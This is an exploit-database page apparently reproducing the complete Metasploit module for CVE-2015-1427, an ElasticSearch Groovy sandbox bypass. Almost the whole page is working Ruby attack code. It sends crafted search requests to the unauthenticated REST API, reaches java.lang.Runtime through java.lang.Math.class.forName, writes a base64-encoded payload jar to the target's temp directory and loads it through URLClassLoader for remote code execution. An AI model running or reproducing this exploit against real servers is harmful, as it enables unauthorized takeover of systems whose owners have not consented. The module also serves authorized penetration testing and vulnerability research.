ElasticSearch Search Groovy Sandbox Bypass Exploit



EKU-ID: 4642 CVE: 2015-1427 OSVDB-ID:
Author: juan vazquez Published: 2015-03-16 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
  
require 'msf/core'
  
class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'ElasticSearch Search Groovy Sandbox Bypass',
      'Description'    => %q{
        This module exploits a remote command execution (RCE) vulnerability in ElasticSearch,
        exploitable by default on ElasticSearch prior to 1.4.3. The bug is found in the
        REST API, which does not require authentication, where the search function allows
        groovy code execution and its sandbox can be bypassed using java.lang.Math.class.forName
        to reference arbitrary classes. It can be used to execute arbitrary Java code. This
        module has been tested successfully on ElasticSearch 1.4.2 on Ubuntu Server 12.04.
      },
      'Author'         =>
        [
          'Cameron Morris', # Vulnerability discovery
          'Darren Martyn', # Public Exploit
          'juan vazquez'   # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2015-1427'],
          ['URL', 'https://jordan-wright.github.io/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/'],
          ['URL', 'https://github.com/XiphosResearch/exploits/tree/master/ElasticSearch'],
          ['URL', 'http://drops.wooyun.org/papers/5107']
        ],
      'Platform'       => 'java',
      'Arch'           => ARCH_JAVA,
      'Targets'        =>
        [
          ['ElasticSearch 1.4.2', {}]
        ],
      'DisclosureDate' => 'Feb 11 2015',
      'DefaultTarget' => 0))
  
      register_options(
        [
          Opt::RPORT(9200),
          OptString.new('TARGETURI', [true, 'The path to the ElasticSearch REST API', "/"])
        ], self.class)
  end
  
  def check
    result = Exploit::CheckCode::Safe
  
    if vulnerable?
      result = Exploit::CheckCode::Vulnerable
    end
  
    result
  end
  
  def exploit
    print_status("#{peer} - Checking vulnerability...")
    unless vulnerable?
      fail_with(Failure::Unknown, "#{peer} - Java has not been executed, aborting...")
    end
  
    print_status("#{peer} - Discovering TEMP path...")
    res = execute(java_tmp_dir)
    tmp_dir = parse_result(res)
    if tmp_dir.nil?
      fail_with(Failure::Unknown, "#{peer} - Could not identify TEMP path...")
    else
      print_good("#{peer} - TEMP path on '#{tmp_dir}'")
    end
  
    print_status("#{peer} - Discovering remote OS...")
    res = execute(java_os)
    os = parse_result(res)
    if os.nil?
      fail_with(Failure::Unknown, "#{peer} - Could not identify remote OS...")
    else
      print_good("#{peer} - Remote OS is '#{os}'")
    end
  
    if os =~ /win/i
      tmp_file = "#{tmp_dir}#{rand_text_alpha(4 + rand(4))}.jar"
    else
      tmp_file = File.join(tmp_dir, "#{rand_text_alpha(4 + rand(4))}.jar")
    end
  
    register_files_for_cleanup(tmp_file)
  
    print_status("#{peer} - Trying to load metasploit payload...")
    java = java_load_class(os, tmp_file)
    execute(java)
  end
  
  def vulnerable?
    java = 'java.lang.Math.class.forName("java.lang.Runtime")'
  
    vprint_status("#{peer} - Trying to get a reference to java.lang.Runtime...")
    res = execute(java)
    result = parse_result(res)
  
    if result.nil?
      vprint_status("#{peer} - no response to test")
      return false
    elsif result == 'class java.lang.Runtime'
      return true
    end
  
    false
  end
  
  def parse_result(res)
    unless res
      vprint_error("#{peer} - No response")
      return nil
    end
  
    unless res.code == 200 && res.body
      vprint_error("#{peer} - Target answered with HTTP code #{res.code} (with#{res.body ? '' : 'out'} a body)")
      return nil
    end
  
    begin
      json = JSON.parse(res.body.to_s)
    rescue JSON::ParserError
      return nil
    end
  
    begin
      result = json['hits']['hits'][0]['fields']['msf_result']
    rescue
      return nil
    end
  
    result.is_a?(::Array) ? result.first : result
  end
  
  def java_tmp_dir
    'java.lang.Math.class.forName("java.lang.System").getProperty("java.io.tmpdir")'
  end
  
  def java_os
    'java.lang.Math.class.forName("java.lang.System").getProperty("os.name")'
  end
  
  def java_load_class(os, tmp_file)
    if os =~ /win/i
      tmp_file.gsub!(/\\/, '\\\\\\\\')
    end
  
    java = [
      'c=java.lang.Math.class.forName("java.io.FileOutputStream");',
      'b64=java.lang.Math.class.forName("sun.misc.BASE64Decoder");',
      "i=c.getDeclaredConstructor(String.class).newInstance(\"#{tmp_file}\");",
      'b64_i=b64.newInstance();',
      "i.write(b64_i.decodeBuffer(\"#{Rex::Text.encode_base64(payload.encoded)}\"));",
      'loader_class=java.lang.Math.class.forName("java.net.URLClassLoader");',
      'file_class=java.lang.Math.class.forName("java.io.File");',
      "file_url=file_class.getDeclaredConstructor(String.class).newInstance(\"#{tmp_file}\").toURI().toURL();",
      'loader=loader_class.newInstance();',
      'loader.addURL(file_url);',
      'm=loader.loadClass(\'metasploit.Payload\');',
      'm.main(null);'
    ]
  
    java.join
  end
  
  def execute(java, timeout = 20)
    payload = {
      "size" => 1,
      "query" => {
        "filtered" => {
          "query" => {
            "match_all" => {}
          }
        }
      },
      "script_fields" => {
        "msf_result" => {
          "script" => java
        }
      }
    }
  
    res = send_request_cgi({
      'uri'    => normalize_uri(target_uri.path.to_s, "_search"),
      'method' => 'POST',
      'data'   => JSON.generate(payload)
    }, timeout)
  
    res
  end
  
end